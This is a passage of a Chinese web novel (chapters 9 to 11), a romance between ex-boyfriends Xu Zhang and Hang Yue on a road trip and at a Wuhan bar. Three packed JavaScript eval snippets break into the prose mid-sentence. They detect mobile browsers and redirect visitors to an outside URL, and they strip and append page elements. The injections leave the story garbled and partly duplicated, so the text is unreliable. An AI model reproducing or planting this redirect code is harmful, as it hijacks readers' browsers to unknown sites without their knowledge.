许璋大方道:“请点评,玻璃心。” “……” 半晌,杭樾低声说:“画得很好,我是外行,说不出所以然来,但如果在画展看见这幅画,我会买回家收藏。” 许璋被夸飘了,十分满意:“不用买,它是你的了。” 他伸了个懒腰,腰酸背痛:“去吃饭了,好饿。” 路过杭樾身边时,闻到一股很淡的薄荷味。 许璋皱起鼻子:“你身上什么味道?” 杭樾眼神一变,顺口说:“薄荷糖。” 许璋“哦”了一声,捶着肩膀出去了。 杭樾站在门口,眉头紧蹙,没明白为什么会下意识撒谎,都分手这么久了,难道许璋还会管他抽烟不成。 真是昏了头。 许璋去隔壁吃饭,快吃完了,杭樾还没下来。 江木舜说:“他早就吃过了,明天我们要启程,他习惯提前安排住宿,这会儿应该在联系酒店。” “明天又要大堵车了吧。”周皓说。 “一般会堵多久?”许璋问。 江木舜不怀好意地笑:“你到时候就知道了,记得备几个空瓶子。” “啊?” “江哥怕你尿急,脸皮薄,不敢在路边尿。” 许璋震惊:“这么夸张。” “都‘此生必驾318了’,不堵一下午对不起这名号。” 邢远对他说:“路上的雪没化完,你开车注意刹车印,今天那辆面包车,就是因为夜间行路,没看见前方的刹车印,才会翻进沟里。” 许璋点头:“明白,我会仔细看的。” “路况杭樾应该跟你说了,注意安全。” 唐思瑞压低声音道:“皓哥,你有没有觉得,远哥这两天有点诡异。” 周皓给他盛汤:“怎么,他昨晚扮鬼趴床头吓你了?” “……别瞎扯。”唐思瑞说,“我就是觉得,他对兄弟的前任这么好,又是给剥红薯,又是叮嘱开车,他是不是想……” “想什么?”周皓疑问。 “是不是想帮樾哥报仇啊?你说,他会不会一边向小许示好,一边背地里扎小人诅咒他?” 周皓嘴角抽搐:“他是党员,不信这个。” 旁边,许璋问邢远:“你经常跟队出来吗,单位会允许你请假?” “大学的时候常跟,现在偶尔吧,批假太麻烦了。” “那杭樾呢,”许璋扒拉碗里的饭,“他最近在做什么,和你一样上班?” 邢远意味深长:“起承转杭樾是吧,你其实并不好奇我放不放假。” 许璋连忙笑道:“也好奇,也好奇。我身边还没有像你这么年轻,就已经进去的呢。” 邢远:“?” 还能不能聊了。 “我是在夸你!”许璋说,“能考上选调很厉害。” “是吗,没听出来。” 邢远扯了扯嘴角,回答他刚才的问题:“杭樾这几年投了不少项目,有几家公司,还有自己的俱乐部,这小子精力旺盛,每年固定跟几次摩旅队。他反正也没对象,经常全国各地跑。” “他家里对他没有要求吗?”许璋发呆,“不搞催婚什么的?” 邢远停顿片刻:“之前催过,后来不知道发生了什么,他爸妈再也不提了。说实话,我挺羡慕他的,他比我自由得多。” 邢远的父母都有官职,按部就班地长大、工作,人生轨迹从出生就已经安排好,他从事的职业包容性不高,内部古板保守,玩摩旅都已经是争取来的。 对于这种生活,有人羡慕,有人厌倦,每个人都活在围城之中。 “你很好啦,多少人求不来呢。”许璋托着腮,“听说你们圈内的相亲都是优质对象,提前恭喜你哦,不过长成你这样,不愁找不到大美女。” 邢远说:“我没打算相亲。” “为什么?”许璋不解。 邢远不说话,只晃动着杯里的饮料。 这时老板走过来,推销他做的新品:“小许,你明天就要走了,你不是爱吃甜的吗,我做了道拔丝地瓜,赶快尝尝。” 嗜甜如命的许璋两眼放光:“哇塞,李哥,你还会做这个啊。” 老板骄傲道:“那是,我年轻的时候走南闯北,到处学手艺,我师父是山东人,做菜那叫一绝,下回再来这里玩,我给你做山东炒鸡。” “那说好了!” 许璋给大家分拔丝地瓜,留出一些,用小盘子装好。 拔丝地瓜要趁热吃,凉了容易咬不动,他端着托盘去隔壁,当做那张手绘地图的回馈。 走到房门口,只见门开了条缝。 许璋刚要进去,听见里面打电话的声音。 杭樾在收拾行李,边忙边说:“知道了知道了,我们八点前就找地方投宿了,不会赶夜路的。” 许璋停下脚步,站在门口。 杭樾的语气很不一样,似乎收敛锋芒,带着些许无奈。 “我们有备用刹车片,放一百个心吧。” “阿远在楼下吃饭呢,还没上来。” “嗯,三点多雪停了,天气预报有时候不准。” “妈,你能不能把朱迪弄走啊,吵死了。” 朱迪是他的狗,杭樾年纪轻轻,就成为了比格受害者,他家那大耳朵怪叫驴,许璋到现在还有心理阴影。 许璋上身前倾,像个小贼似的,偷听他说话。 杭樾在和妈妈说路上的趣事,时不时应付几句对面的关心,能猜测到,那头的女人有多温柔体贴。 许璋的双脚像生了根,无法挪动半步。 直到聊到敏感话题,他才发觉,这样听墙角不太好。 “没有艳遇,你少看点晋江文吧。”杭樾头疼道,“你哪来的自信,觉得路上随便一个人都能看上我……我知道你长得漂亮,那关我什么事,我长得又不像你……啧,说实话你还不高兴。” 许璋将盘子抱在怀里,蹑手蹑脚地离开。 刚走两步,身后的门拉开,他的帽子被一只手揪住。 带着温热的手指下滑,随后捏住他后脖颈,像捏小猫。 杭樾说:“在外面站了这么久,不进来和我妈打声招呼?” “!!!” 许璋瞬间炸毛。 他扭动身子挣扎,但被捏住命运的咽喉,失去反抗能力,只能眼睁睁被叼进屋里。 杭樾动了动指尖,在他皮肤上摩挲,然后放开他,审视道:“干嘛呢,小贼。” 屋里光线昏暗,两人靠得太近,许璋的脸变得通红。 手机里传来杭佳佳的声音。 “樾樾,你在跟谁说话呀?是阿远来了吗?” 许璋的脸愈发得红,如同熟透的果实,红得要滴下蜜来,连带耳根、脖子都红了。 他转身想逃走,却被杭樾顺手推在门板上。 杭樾将他翻过来,注视他道:“不是阿远,是个敢偷听不敢说话的小贼,你要和他聊聊吗?” 杭佳佳疑惑:“屋里进贼了?不对,你在开玩笑吧,到底是谁?” 杭樾将盘子拿走,把手机放在许璋耳边,轻声笑道:“老熟人了,打个招呼。” 杭佳佳说:“喂,你好,老熟人?” 许璋终于喘过气来,憋得满脸红透,开口时带着颤音:“……阿姨好,是我……我是许璋。” 他鲜少这么紧张,甚至忘记接过手机,杭樾也不催促,就这么帮他举着。 杭佳佳安静了几秒,随即惊喜万分:“小璋!天哪,我没听错吧,真的是你!刚才杭樾说在路上遇到熟人,我还以为是哪个普通朋友呢!好久不见,小璋,阿姨真的太开心了!” 五年前,许璋见过杭佳佳,不仅见过,还差点成了她干儿子。 杭佳佳是个事业有成的女人,为人长袖善舞,爱憎分明,只有对特别喜欢的人,才会表现得如此热情,她跟许璋一见如故,几乎拿他当杭樾的亲弟弟疼。 许璋没和这样的女人打过交道,准确来说,他生命中的女人只有两个,一个是记忆模糊的生母,一个是阴险无情的继母。 杭佳佳只用三天,就把他拿下了。 他对杭佳佳敬爱又尊重,渴望但不敢靠近。 许璋局促地说:“我也很高兴,阿姨。” 他向来妙口生花,此时却十分词穷,杭樾的眼神变得柔和,示意他放松一点,将他带到床边坐下。 “我们有好几年没联系了,我还以为你和杭樾闹僵了呢。”杭佳佳说。 “你们是不是吵架了?肯定是杭樾的问题,他无法无天惯了,是个人都烦他。你嫌他烦他没关系,别讨厌我就行,有空来看看我呀。” 许璋磕磕绊绊:“阿姨,我没有讨厌您……只是之前有点忙,我现在在旅游,等回去……有机会的话,就去看望您。” “好!太好了!等你回来,刚好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019061|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过年,我给你包大红包!我前两年在家养病,可是练了一手好厨艺呢,这次不会再齁着你了。” 许璋软软地笑:“哪有,您做菜一直很好吃。您现在身体怎么样?” “特别棒,吃嘛嘛香。” 他和杭佳佳聊了许久,才依依不舍地挂断,杭樾抱着手臂,始终没有吭声。 挂掉之后,许璋才感到害臊。 他居然在前任的眼皮底下,和对方的妈妈打了十几分钟电话,好不要脸啊。 房间很安静,许璋有些心浮气躁,开口道:“你别一直瞪我,我不是存心要和你妈妈说话的,是你把我拉进来的。” 他这话像小孩子,仿佛在说,“我没有抢你妈妈”。 等待片刻,杭樾还是没吭声。 许璋抬起头,对上他的视线,他表情淡淡的,有类似心疼的神色没褪干净。 “没瞪你。”杭樾温声道,“是我把你拉进来的,也是她想和你说话。” 许璋哽住,没想到他这么大度。 大家对于自己的妈妈,占有欲不应该很强吗?他以前遇到的朋友都这样。 许璋幼儿园时,粘过一次同学的妈妈,后来被小朋友告状、闹掰、请家长一条龙,他就再也没粘过别人的妈妈了。 杭樾看着他说:“大忙人,你哪天有时间,去我家探望一下我妈?” 许璋惊讶:“真去啊?我只是说说而已。” “啧,你欺骗中老年人感情,有没有道德心。”杭樾故作嫌弃,“我一般工作日都不在,你可以随时过去。” “哦。”许璋顿了顿,“你不介意吗?” 杭樾望着他头顶的发旋,发丝浅棕且柔软,形成一个小漩涡,兔子谨慎地垂下耳朵,试探他的想法。 小兔子不该闷闷不乐。 小兔子应该生龙活虎,趾高气昂才对。 许璋得不到回答,便又抬头看他。 杭樾拈起一块拔丝地瓜,放进嘴里细嚼慢咽,然后丢下句气死人不偿命的话。 “你只要不跑去我房间打手.枪,我是不会介意的。” 许璋呆愣了一会儿,随后,房间里传来重物的撞击声。 “滚啊!混蛋!” “我操,许璋,你下手这么黑?那是什么东西,你就往我身上砸……停停停,开玩笑、开玩笑的不行吗,你现在怎么这么容易破防……” “还砸是吧,你再这样我要还手了。” “停!休战!我收回那句话还不行吗?服了你这脾气……” 许璋被气成了河豚,忘记伤春悲秋,愤怒地离开房间。 晚上,他和唐思瑞睡觉,实在没忍住,说了前任的坏话。 “你以后要是谈男的,千万别谈杭樾这样的,天天故意气人。” 唐思瑞刚才把小雪人送给周皓,被亲了下额头,浑身哆嗦地躺在被窝里。 他欲盖弥彰:“我我我……不谈男的,我们、我们只是……好哥们儿。” 许璋自顾自地说:“杭樾又自恋又嘴欠,从来不让着别人,谁谈谁后悔。” “你你你……你怎么知道,他亲了……不、不是,我是说,没、没想到樾哥是这种人。” “哼,双子男是这样的。”许璋开始无差别攻击,“ENFJ双子男,buff叠满,狗都不谈。” 唐思瑞惊呆:“你……你记性真好,分手这么久还记得。” 过了一会儿,他问:“那天蝎男呢?” 许璋没理他,因为睡着了。 一夜无梦,旅途劳累的效果,比褪黑素还管用。 许璋睡了个大懒觉,起床的时候,摩旅队已经出发了。 老板做了丰盛的早餐,把他喂到撑不下,才笑着把他送出门。 许璋上车后,收到了唐思瑞的消息,告诉他摩旅队有严格的时间表,他们七点钟就出发了。 而那位双子前任,没有任何动静。 许璋不屑地“嘁”了声,看见车载冰箱上有张纸条,是双子男的笔迹。 【这次应该不会化了】 他打开车载冰箱,顿时哭笑不得。 里面放着四个冰袋,和一个呆头呆脑的小雪人,黑豆眼睛,红豆鼻子,胡萝卜手臂,头戴一顶黑帽子。 可是杭樾忘了,车载冰箱要启动才能工作。 许璋拍下残缺的雪人身体,给这位嘴硬人士发过去。 [不爱社交:你的信使化了,道歉无效,本庭驳回。] 10. 第 10 章 半个小时后,许璋堵在了路上,前方大车林立,几乎看不到路。 他就这么听了俩小时歌,停一会儿,挪一段,龟速前进。 杭樾回复消息:[堵路上了吧。] [不爱社交:能有空和我聊天,你不也堵了/鄙视/] [Y22:想什么呢,我中途休息。] 摩托车比他好得多,不至于被卡死在路中间。 杭樾打了几行字,想让他注意车距,又一个字一个字删了。 他拍了张照,周遭从荒野变成了群山,想告诉许璋,前路风景不错,再开一段就能看见,然后又删了。 如此频繁地分享日常,这和谈了有什么区别,不合适。 “阿樾,过来帮忙看下这台车。”江木舜喊道。 杭樾收起手机:“来了。” 许璋退出聊天框,给武汉的朋友打电话:“喂,佑佑,我还在路上呢,堵得厉害。” 那边说:“你说你遭这罪干嘛,要去看雪山我陪你飞啊,路上风吹日晒的,别把小脸吹破了,我还想给你组局牵线呢。” 冉佑是他大学室友,圈里炙手可热的女装0。 大一的时候装得好,许璋愣是没发现他是gay,两人遮遮掩掩地同住,互相标榜自己直得发邪。 后来得知真相,冉佑惋惜不已,对他说:“你怎么不早说,我开学第一天差点对你一见钟情,如果知道你也是弯的,我当场就扑上去了。” 许璋说:“你没病吧,咱俩撞号。” 冉佑道:“为了你,我可以勉为其难当1。” “……我可以给你当爹。” “别瞎折腾了。”许璋身后喇叭此起彼伏,“我头疼着呢,不想喝酒。” “小可怜小咪咪,嘬嘬嘬,可把你累坏了。”冉佑发出哄猫咪的声音,“不喝就不喝,但你要一五一十告诉我,路上和头盔哥都干嘛了。” 他见过杭樾的照片,第一句评价:“我操,好帅。” 第二句是:“我操,好装。” 然后开始乐此不疲,给杭樾起各种外号,诸如男高前夫哥,古驰墨镜哥,杭少等等,头盔哥是最新的外号,因为许璋给他看了那幅画。 他当即表示:“拍照还戴头盔,装货。” 许璋说:“你就不能叫他名字吗?” “哎呀呀,这才几天,就护上短了!” “没有,只是你一天一个称呼,我每次都要反应半天。”许璋无语,“你昨天还叫他红薯哥呢。” “噢,那有什么关系。”冉佑满不在乎,“你们分开前,打分手炮了吗?你屁股开花没有,这么开一路不要紧吧?” 许璋突然刹车,上身前冲。 咬牙切齿:“我、没、有!冉佑同学,分手炮是分手的时候打,不是分手五年才打。” 冉佑无辜道:“有区别吗,反正都是打.炮。” 他叽喳个不停:“你都几年没开张了吧,我看他那喉结那鼻子,下面肯定很大,你受得了吗?到时候来我这里,我给你准备点rush和油。” “……我助理打过来了,挂了!”许璋赶紧找理由挂断。 他没有分享房.事的癖好,每次提到都含糊其辞,冉佑说看鼻子和中指能看出长度,你前夫应该有十六.七。 许璋心想,猜得不对,杭樾还要再长一点。 先前没有遇到杭樾,口嗨就只是口嗨。 现在和他见过面,人家还收留自己两晚,再这样想总觉得丧心病狂。 整个下午,许璋都堵在路上。 他开了三天,幸好旅店没再爆满,第四天晚上,抵达了武汉。 因为堵车加上开得慢,竟然和摩旅队差不多,唐思瑞说他们也在武汉,不过是中午到的,大家打算在这里玩一天。 进城的路也不好走,许璋到达冉佑的4S店时,已经是晚上九点。 他把车放那洗,顺便掏出一坨冰袋包裹的雪块,在员工疑惑的目光中,让他拿去放进冰箱。 冉佑带他去汉街吃饭,吃完去街道口的gay吧。 他化了淡妆,浑身香水味,挽着许璋说个不停。 “我想找个和你一样高的老公,一八零刚刚好,不高不矮。” “你说,别人会不会觉得我们是一对?你瞪我干嘛。” “你在外面跑了几天,脸为什么没变糙啊?” 许璋自认为话不少,但密不过他。 酒吧氛围很嗨,灯光昏暗而暧昧,两人点了酒慢慢地喝。 冉佑大声问:“那个摩旅队有没有长得帅的?有的话推给我。” “有是有,不过是直男。” 许璋想到邢远,没轻没重的直男,还是算了。 “啊啊啊,我要寡疯了!”冉佑抱怨,“我怀疑鸡鸣寺斩桃花,上次和你去完,咱俩都寡了三年!话说,你朋友圈有没有帅哥啊?我们拍几张照,你发朋友圈推销我,我也给你挂我朋友圈。” 他拉着许璋拍照,拍视频,加上滤镜,分别用两人的手机发动态。 许璋笑得颤抖:“你不是爱点男模吗,怎么会寡三年?” “那些都是鸭子啊!又不是正经谈恋爱。” 这时,有个少爷上去跳舞,冉佑说:“你喜欢Lafite吗?待会儿点他。” 许璋喝得头晕脑胀,疑惑道:“拉菲?我不混着喝,容易醉啦。” “是那个模子哥,名叫Lafite。”冉佑翻了个白眼,“他是混血,唧唧贼大,你记得做好措施,我可不想半夜送你去医院。” “……不要不要不要,你自己享用吧。”许璋连忙摆手。 他计划明天白天上路,怎能被男人绊住。 冉佑见他拒绝,没再说什么,开始玩游戏拼酒。 许璋喝了好几杯,含着颗冰块表示喝不动了。 冉佑说:“给你休息五分钟,搁这儿养鱼呢,你大学不是挺能喝的。” 他让许璋在自己腿上躺会儿,顺手划拉手机。 “哇,我们小璋真是脸在江山在,不出手不知道,一出手吓一跳,好多人问我要你的联系方式。” “我看看你朋友圈有没有人问我。”他拿起许璋的手机。 看了一会儿说,“有人给你发消息,问你在干嘛。” 他看见消息记录,立马念道:“‘你的信使化了,道歉无效,本庭驳回’,啧,你在跟他调情吗??” “他回你说‘小唐说你进城了’‘到哪儿了’‘不回我消息’……好啊你,居然背着我有行情,我说怎么不吃到嘴的鸭子呢。” 许璋耳朵嗡嗡的,听不清他在说什么。 冉佑贴着他耳朵传达:“他问你——在——干——嘛。” 许璋醉醺醺道:“你帮我回……回他,我准备睡了。” “哈哈,有意思,帮你发了。”冉佑兴奋起来:“备注‘能是什么好东西’,这还是个玩咖?我倒要看看哪个天仙,敢这么吊着你……杭、杭樾?” 许璋迷迷糊糊地附和:“对啊,就是杭樾……他能是什么好东西。” “不……不不,我是说……”冉佑望着眼前的男人,惊得说不出话来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019062|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 摩托哥从照片走进现实,来到卡座前,居高临下地审视许璋。 他抱着手臂,嘲弄道:“不是准备睡了吗,睡别人腿上啊?” 摩托哥压迫感太强,冉佑条件反射,举起双手以示清白,随即又觉得有点怂,怕他个蛋啊。 他刚要开口,许璋指着杭樾说:“Lafite?” 杭樾眉头紧皱,瞬间沉下脸。 许璋疑惑:“这就是你给我找的鸭子吗,长得好像我一个故人。” 冉佑冷汗刷就下来了。 闭嘴吧,祖宗。 忽然,他腿上一轻,许璋被拽了起来。 杭樾捞住他双腿,轻松将人横抱住。 许璋不配合地蹬腿:“干嘛呀,死鸭子!放开我!” 他蹬了两下,一只鞋掉了,杭樾索性把他另一只鞋也扔了,冷冷地说:“老实待着。” “我待你&**^#**…!” “你再这样骂人试试。” 杭樾的脸彻底冷下来,那表情不像是开玩笑。 许璋被他一凶,眼眶有些发红,逐渐安静下来。 冉佑觉得自己应该在车底,但又应该爬出来,努力抗争一下。 他壮着胆子站起来说:“等等,你不能带他走。” 杭樾停下脚步,不高兴地看着他。 摩托哥面无表情的时候,像个活阎王,冉佑搞不懂,许璋怎么会喜欢这款。 他颤巍巍道:“你们已经分手了,你要是图谋不轨怎么办,快把人放下,不然我叫保安了!” 闻言,杭樾倒是没发火。 他将许璋的手绕到自己后颈,单手托着他,从兜里掏出身份证说:“我带他去对面那条街的酒店,房间号1102,你拿手机拍一下。” “啊??”冉佑愣住。 杭樾淡淡道:“我要是对他做什么,你可以随时报警。” “……” 冉佑卡壳半天,只好说:“好吧,姑且相信你……哦对了,他喝完酒喜欢踢被子,你注意点……” “用不着你操心。” 杭樾抱着人扬长而去,冉佑嘀咕:“在拽什么,不知道的还以为你是现任呢。” 从酒吧到酒店,一路上许璋都很安静。 他垂眼靠在杭樾怀里,眼皮红彤彤的,睫毛随呼吸颤动,呼吸间飘着金酒的甜香,如同一颗浸了酒渍的樱桃。 杭樾抱着他走进电梯,服务员帮忙按下楼层,低着头走出去。 杭樾垂眸道:“别装了,早醒了吧。” 许璋搂着他的手松了点,悻悻地说:“谁装了,你要是被灌那么多,你也会头晕。” “头晕,所以就把我当鸭子?”杭樾嘲讽,“你懂不懂礼貌。” “哦,不好意思。”许璋不紧不慢地道歉。 杭樾说:“你真点鸭子了?” 许璋没回答,反问他:“你怎么跑这里来了?” 杭樾:“这里是你开的吗,只准你一个人玩,别人都不准来。” “我又没说不准来。”许璋缩了缩肩膀,“你今晚很可怕,刚才把我朋友吓成那样。” “是吗,我向来这样,你不是不知道。” 杭樾掂量他,像掂沙袋一样,许璋赶忙搂住,生怕他把自己扔下去。 “我这么可怕,还赖我身上干嘛,下来自己走啊。”杭樾说。 许璋搂紧了点,小声说:“你把我的鞋扔了。” “我没法自己走。” 杭樾牵动嘴角,满意道:“真惨,那你只能继续忍耐了。” 11.第 11 章 好汉不吃眼前亏,许璋忍气吞声,树懒似的扒在他身上。 从电梯到房间的路上,杭樾走得很慢,散步般不急不慌。 他问:“你现在多重?” “干嘛?”许璋莫名其妙。 “好像比以前沉了点。” 许璋沉默片刻,说:“你电子秤转世啊,多久‘以前’抱的,现在还记得,别搞笑了。” “你不如实话实说,就是长胖了。”杭樾嗤笑。 许璋用他的话反击:“哦我明白了,你怕不是只抱过我一个,所以这辈子都忘不掉,经常想起反复回味,是吧,前男友?” 杭樾刷卡进房,直接给他扔在地上。 许璋踉跄着站稳,龇牙咧嘴道:“你破防个屁啊,这么小心眼,活该寡到现在!” 杭樾乐:“我寡?” “你不寡,会大半夜来找我茬?你不寡,这会儿应该找个地方泡吧!我看你根本没人陪,毕竟都以为你是卖手串的骗子。” 杭樾冷冷地看着他:“唐思瑞看见你朋友圈,说你被一个黄毛流氓灌醉了,担心你的人身和财产安全。你以为我想来,少自恋了。” 黄毛流氓? 哦,是冉佑。 拍合影的时候,冉佑非要脸贴脸,还把酒瓶怼他嘴里,托着他的下巴,学那些网红拍视频,再配上“你的痛苦我都心疼想为你解决”bgm,搁谁看都以为他被轻薄了。 “冉佑才不是黄毛流氓呢。”他摸了摸鼻子问:“小唐他们在哪儿?” “光谷那边,我明早回去。” “你骑车来的?” 杭樾怒气消散,平静地说:“我闯了个红灯,你赔我点分吧。” 许璋悻悻道:“可以帮你交罚款。” “嗯,还有酒店的费用。”杭樾点头,“既然有钱点鸭子,应该手头挺宽裕。” “……” 许璋还没来及辩解,杭樾从衣柜里拿出浴袍,扔在他身上说:“去洗个澡,身上一股怪味。” 冉佑酷爱喷香水,今天喷的自由之水,香得人头晕。 杭樾脱掉外套,在沙发上坐下。许璋抱着睡袍,表情迷茫:“不是,你坐这儿干嘛,难道只开了一间房?” 杭樾头也不抬地回:“省钱。” ? 扯淡吧你。 许璋盯了他一会儿,见他真没有走的意思,便把手机从兜里掏出来,准备进去洗澡。 屏幕亮了起来。 几个小时没看手机,消息已经满天飞,冉佑不算笨蛋,朋友圈屏蔽了他家人,但是忘了屏蔽宋焕。 呃…… 许璋之前把他拉黑了,在许明楼的劝解下,昨天才重新加回来,所以没给他分组。 [宋焕:嫖.娼去了?] [宋焕:你也就这样了,恶心/呕吐/] [宋焕:多少钱一晚啊,也不嫌脏。] [宋焕:上次的事,你做的太绝了!好好跟老子道个歉,我考虑不把今天的事告诉爸爸。] [宋焕:人呢,嫖床上去了?] [宋焕:你他吗的,我再给你十分钟!回消息!] [宋焕:你是懂怎么气人的,玛德一股火,你发个屁动态啊,叫个鸭子还炫耀上了。] 许璋打字:[哪里的火,小腹吗?] 宋焕几乎秒回:[?????] [宋焕:你敢恶心我,你再说一次?!] [不爱社交:发吧,尽管发给爸爸,看看他什么反应。] 发完,不等宋焕回复,再次把对方拉黑。 他切换聊天框,上小号把宋焕删了,让这个烦人的弟弟彻底消失。 沙发上,杭樾已经开始皱眉。 “别玩手机了,快去洗澡。”他说道。 “等会儿。”许璋敷衍。 杭樾起身过来,将他的手机抽走:“去、洗、澡,你的‘等会儿’一般是等一个小时,别找借口玩手机,赶紧的,我还要洗。” “我哪有……”许璋想反驳,却发现有些暧昧了。 他洗澡前拖延症严重,每次被杭樾催促,都是两人去开房,或者去他家的时候。 洗澡是为了干嘛? 当然是做、爱。 事后他也爱墨迹,经常没骨头的瘫在床上,蜷缩着腿哼哼唧唧,杭樾就会默不作声,把他抱进浴室里清理。 杭樾拿走手机,放在饮水台上,只见许璋突然脸红,一声不吭钻进了浴室,不知中了什么邪。 手机屏幕一直亮着,杭樾低头看去。 不一会儿,里面传来水声。 在许璋洗澡的功夫,江木舜打了个语音过来。 “你到那里了吗,没什么事吧?” 杭樾走到窗边,说:“没事。” “没事就好,你摔下筷子就走,我还以为出大事了,小许现在什么情况?” 杭樾听见那头有动静,似乎邢远说了句话,江木舜回他“在问呢,别催”。 杭樾有点不想多聊:“没情况,误会而已,先挂了。” “哎,等等。”江木舜说,“那你还回来喝藕汤吗?给你留了不少呢。” “……不喝。” 许璋洗得磨磨蹭蹭,从浴室里出来时,整个人都被泡红了。 他湿淋淋地裹着浴袍,双眼被热气熏得发亮,光脚三下五除二蹦上床,水珠洒得到处都是。 杭樾“啧”地嫌弃道:“你鞋呢?” “被你扔了。”许璋无辜。 “我说的是拖鞋。” “不小心踩坏了,在垃圾桶里。” 杭樾扶住额头,不用进去都知道,浴室已经成了水帘洞,这家伙洗澡向来这样,恨不得水漫金山。 许璋问:“就一张床,你睡沙发吗?” “想得美。”杭樾没好气,“房间是我订的,我凭什么睡沙发。” “你故意只订一间房的吧,那很坏了。”许璋瞪他。 许璋继续老神在在道:“看来你居心叵测呀,不会是想趁机占我便宜吧,你单身多久了?三年,四年,难不成居然五年?这几年和你的右手处得还好吗?” 他盘腿坐着,领口敞开,衣服都没系好,就敢疯狂挑衅。 杭樾走过去,直到把他逼得撞在床头,才停下来。 他盯着许璋的眼睛,眼神沉得可怕,右手撑在床头柜上,森冷地俯视他。 许璋闭紧嘴巴,丝毫没有了刚才的气焰。 杭樾冷笑:“我要是居心叵测,你又能怎么样?” 许璋神色一变,刚要说话,便被打断。 杭樾道:“打又打不过我,还得和我睡一间房。奉劝你老实待着,不然让你和我的右手一起给我服务。” 说完,他施施然起身,走进浴室。 许璋愣了几秒,才明白什么意思,抄起旁边的香薰蜡烛,砰地砸在浴室门上。 “杭樾!你不要脸!” 里面传来声音:“大声点,听不见。” 许璋气得在床上滚了两圈,捂着胸口倒在枕头上,这时,外面响起敲门声。 他穿上新拖鞋,暴躁地问:“谁啊?” 外面回答:“外卖。” 杭樾还叫外卖了? 大晚上的撑不死他。 许璋打开门,接过黑色的袋子,包裹得严严实实,看上去不太像吃的。 他把袋子放在饮水台上,爬回床上看手机。 过了一会儿,杭樾洗完出来,见他盘踞在床上,指了指沙发说:“去那边。” “不去。”许璋不高兴,“我睡沙发睡不着,你就不能让让我。” “为什么要让你?去找那个鸭子啊,或许他会让你。” “……”这人纯有病。 杭樾说归说,却没把他赶下去,抱着手臂背靠墙壁,眼神不悦地打量他。 许璋气道:“说了没点鸭子,爱信不信。” “那这条链子哪来的。”杭樾抬起下巴。 许璋的手机壳上,挂着条粉色蝴蝶链子,透着一股脂粉气,明明前几天还没有。 “链子?”许璋呆住,想了想。 “哦,这个啊,冉佑送的,他什么时候给我挂上去的……” “嗯哼。”杭樾点头。 “嗯是几个意思?” “经常有人送你东西。”杭樾耸肩,“你很喜欢这种吊坠吧,要不也不会总戴着。” 许璋眨巴眼睛,像在回忆什么。 几秒后,突然冷笑:“呵,我说你怎么净找茬,我懂了,在跟我翻旧账是吧。” “什么旧账,听不懂。” “李子旭啊,你不会不记得了吧。” 高三重新分班后,有个叫李子旭的,是篮球队队长。许璋喜欢打球,和这人混得很熟,后来李子旭送他生日礼物,是一个水晶吊坠,许璋挂在了书包上。 三天后,这个吊坠消失了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023657|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杭樾不清楚中间发生了什么,只知道他们再也没一起打过球,李子旭看见他都黑着脸绕道走,下学期甚至直接转学了。 让人因爱生恨的原因很简单,无非是闹掰了,要么利益冲突,要么感情矛盾。对于高中生来说,后者的可能性居多。 许璋那几天很低落,杭樾看着他低落,只觉得内心更加阴郁。 他没有去问许璋,因为不想再听见,他口中说出别人的名字。 就让李子旭安静地去死好了。 许璋歪头欣赏他的表情:“嗯?” 杭樾承认:“我记得,所以呢,你想表达什么?你不就爱随便接受别人的东西,谁给你都可以,什么东西你都要,我没说错吧许璋。” 他难得叫一次全名,听起来真毛了。 许璋讪讪道:“你胡说,我没有这样。” “那找姓李的打球的是不是你?收他礼物的是不是你?经常一起吃饭的是不是你?” 空气安静下来,谁都没有说话。 过了许久,许璋开口说:“是我,你说的没错。” 杭樾的眼神更冷了几分,听见许璋叹了口气:“哎,你大概不知道,我其实没几个朋友,我家里人控制欲很强,总担心我被带坏。”” 杭樾抿着嘴凝视他。 “刚开始我以为,李子旭会是个很好的朋友。”许璋惋惜,“直到生日不久后,他向我表白了,我拒绝了他,但我仍然拿他当朋友。” 他停顿了片刻:“我当时对他说,我和你在一起了,不能接受别人。” 杭樾眉头紧皱,直起身体:“为什么不告诉我?” “我以为只是一句话的事儿嘛,你听我讲完,你之前不是奇怪,我爸是怎么知道这件事的吗,就是他告的密。” “操。”杭樾深吸一口气,“这狗娘养的,他敢这么对你?!” 事情过去多年,许璋丝毫没有生气。 他软声道:“不要发火啦,我没受委屈,虽然我爸特别生气,但他觉得这种人不能深交,所以略施手段,给了他一点惩罚。” 杭樾的脸色很不好看,半晌没说话。 再开口时,声音有点哑:“抱歉,我当时……没注意这么多,我以为你们只是闹掰了。” 许璋噗嗤笑道:“你干嘛道歉,和你又没关系。” 他摇头晃脑地说:“你应该庆幸,我爸和你父母认识,不好撕破脸,不然转学就是我了。” 